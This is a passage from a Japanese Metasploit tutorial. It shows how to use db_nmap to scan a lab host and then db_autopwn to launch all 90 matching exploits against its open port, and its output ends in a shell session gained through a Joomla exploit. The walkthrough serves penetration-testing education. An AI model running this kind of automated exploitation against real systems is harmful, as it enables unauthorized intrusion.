RSS Feed  Twitter  
|
Articles - Security

 ターゲットの調査~脆弱性アタックを自動化

 ここまでは、Metasploitで単純にexploitを実行する手順しか解説したが、次に、Metasploitのexploit自動化機能(autopwn)についても解説しておこう。この機能を利用すれば、NmapやNessus、OpenVasなどのスキャン結果をインポートしてexploitを実行させることや、指定したポートに対するexploitを全て実行させるといったことが行える。

 ここでは、「Nmapでポートスキャン→開いているポートを指定して該当するexploitを全て実行」という流れで、ターゲット調査~アタックまでを自動化する。ページの都合上、詳細説明は省略して手順のみを解説するが、Nmap、Nessusのスキャン結果をインポートしたい場合には、同様にして、db_import_nessus_nbeやdb_import_nmap_xmlコマンドなどでファイルを指定すればよい。


①:Msfconsoleを起動し、db_createコマンドでデーターベースを作成する。
msf > db_create test1 [*] Creating a new database instance...
[*] Successfully connected to the database
[*] File: test1

 
②:次にNmapでポートスキャンを実行し、結果をデーターベースにインポートする。これは、db_nmapコマンドを使用する。「db_nmap <ターゲットIPアドレス>」。

msf > db_nmap 192.168.241.138 
Starting Nmap 5.00 ( http://nmap.org ) at 2010-03-24 15:05 EDT
Interesting ports on 192.168.241.138:
Not shown: 999 closed ports
PORT   STATE SERVICE
80/tcp open  http
MAC Address: 00:0C:29:48:E9:26 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.61 seconds

 

③:db_hostsコマンドで、ターゲットを確認する。シングルホストだけでなく、複数のターゲットを指定することもできる。

msf > db_hosts Hosts
=====

address          address6  arch  comm  created_at                            os_flavor  os_lang  os_name  os_sp  state  update
-------          --------  ----  ----  ----------                            ---------  -------  -------  -----  -----  ------
192.168.241.138                        Wed Mar 24                                                                alive  Wed Ma

 

  

④:db_autopwnコマンドのヘルプを表示して、コマンドオプションを確認。ここでは、開いてるポート(ここでは80のみ)に対するexploitモジュールを全て実行させる指定をしている。結果、合計90のexploitsを実行してJoomlaのexploitがヒットした。

msf > db_autopwn -h [*] Usage: db_autopwn [options]
        -h          Display this help text
        -t          Show all matching exploit modules
        -x          Select modules based on vulnerability references
        -p          Select modules based on open ports
        -e          Launch exploits against all matched targets
        -r          Use a reverse connect shell
        -b          Use a bind shell on a random port (default)
        -q          Disable exploit module output
        -R  [rank]  Only run modules with a minimal rank
        -I  [range] Only exploit hosts inside this range
        -X  [range] Always exclude hosts inside this range
        -PI [range] Only exploit hosts with these ports open
        -PX [range] Always exclude hosts with these ports open
        -m  [regex] Only run modules whose name matches the regex

msf > db_autopwn -t -p -e -b [*] Analysis completed in 8 seconds (0 vulns / 0 refs)
[*]
[*] ================================================================================
[*]                             Matching Exploit Modules
[*] ================================================================================

~~~~省略~~~~

[*] Job limit reached, waiting on modules to finish...
[*] (90/90 [1 sessions]): Launching exploit/unix/webapp/twiki_search against 192.168.241.138:80...
[*] (90/90 [1 sessions]): Waiting on 0 launched modules to finish execution...
[*] The autopwn command has completed with 1 sessions
[*] Enter sessions -i [ID] to interact with a given session ID
[*]
[*] ================================================================================

Active sessions
===============

  Id  Type   Information  Connection                                      Via
  --  ----   -----------  ----------                                      ---
  1   shell               192.168.241.132:51527 -> 192.168.241.138:32152  exploit/unix/webapp/joomla_tinybrowser

[*] ================================================================================

 


Metasploit Tutorial 3


|